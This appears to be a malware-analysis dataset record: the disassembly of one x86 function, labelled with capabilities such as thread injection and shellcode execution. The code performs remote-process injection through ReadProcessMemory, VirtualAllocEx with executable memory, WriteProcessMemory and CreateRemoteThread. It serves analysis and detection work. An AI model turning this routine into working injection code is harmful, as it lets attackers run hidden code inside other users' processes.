Function at 0x4154f0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0xffffffffffffffff
push 0x480320
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x4a1620]
xor eax, esp
mov dword [esp + 0x54], eax
push ebx
push ebp
push esi
mov eax, dword [0x4a1620]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x74], ebx
mov eax, dword [edi + 0x2e4]
mov esi, dword [edi + 0xbc]
push 0x18
push eax
push 8
push 0x1c
mov ecx, 0xc454c4
call fcn.00402610
mov ebp, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add esp, 0x10
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
mov eax, dword [edi + 0xbc]
push 0
push 4
lea ecx, [esp + 0x30]
push ecx
push edx
push eax
call ebp
test eax, eax
jne 0x41557a
mov dword [esp + 0x10], 0xffffffff
jmp 0x41558a
mov eax, dword [esp + 0x28]
test eax, eax
mov dword [esp + 0x10], eax
je 0x41562f
mov ecx, dword [esp + 0x10]
mov esi, dword [edi + 0xbc]
push 0
push 4
lea eax, [esp + 0x24]
push eax
add ecx, 4
push ecx
push esi
call ebp
test eax, eax
jne 0x4155af
mov eax, 0xfffffffe
jmp 0x4155d2
mov eax, dword [esp + 0x1c]
push 0
push 4
lea edx, [esp + 0x20]
push edx
add eax, 0x294
push eax
push esi
call ebp
test eax, eax
mov eax, 0xffffffeb
je 0x4155d2
mov eax, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x28]
mov edx, edi
call fcn.00419e70
mov byte [esp + 0x74], 1
mov eax, dword [eax]
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x415650
push eax
mov eax, dword [esp + 0x80]
push eax
call fcn.00466452
add esp, 8
test eax, eax
mov byte [esp + 0x74], 0
mov eax, dword [esp + 0x24]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41562b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne 0x41565a
mov eax, dword [esp + 0x20]
add dword [esp + 0x14], 4
add eax, 1
cmp eax, 0x301
mov dword [esp + 0x20], eax
jl 0x415555
mov esi, dword [esp + 0x24]
jmp 0x4156a2
push 0x80004005
call fcn.004012e0
mov edx, dword [esp + 0x10]
mov esi, dword [edi + 0xbc]
push 0
push 4
lea ecx, [esp + 0x20]
push ecx
add edx, 4
push edx
push esi
call ebp
test eax, eax
jne 0x41567f
mov esi, 0xfffffffe
jmp 0x4156a2
mov eax, dword [esp + 0x18]
push 0
push 4
lea ecx, [esp + 0x24]
push ecx
add eax, 0x11c
push eax
push esi
call ebp
test eax, eax
mov esi, 0xffffffeb
je 0x4156a2
mov esi, dword [esp + 0x1c]
push 0x38
lea edx, [esp + 0x30]
push 0
push edx
call fcn.00467720
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 0xc
cmp byte [edi + 0x303], 1
mov dword [esp + 0x2c], esi
jne 0x4156db
xor eax, eax
mov byte [edi + 0x303], 0
mov dword [0x4a5cc4], eax
mov dword [0x4a5cc0], eax
jmp 0x4156e4
mov eax, dword [0x4a5cc4]
test eax, eax
jne 0x4156fd
mov eax, dword [edi + 0xbc]
push 4
push 0x1000
push 0x38
push 0
push eax
call ebx
mov dword [0x4a5cc4], eax
mov edx, dword [edi + 0xbc]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x38
lea ecx, [esp + 0x34]
push ecx
push eax
push edx
call esi
mov eax, dword [0x4a5cc0]
test eax, eax
jne 0x41573d
mov eax, dword [edi + 0xb4]
mov ecx, dword [edi + 0xbc]
push 0x40
push 0x3000
push eax
push 0
push ecx
call ebx
mov dword [0x4a5cc0], eax
mov edx, dword [edi + 0xb4]
push 0
push edx
push 0x442a80
push eax
mov eax, dword [edi + 0xbc]
push eax
call esi
mov edx, dword [0x4a5cc4]
mov eax, dword [0x4a5cc0]
lea ecx, [edi + 0xc0]
push ecx
mov ecx, dword [edi + 0xbc]
push 0
push edx
push eax
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x74], 0xffffffff
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4157ab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x54]
xor ecx, esp
call fcn.00465b73
add esp, 0x68
ret 4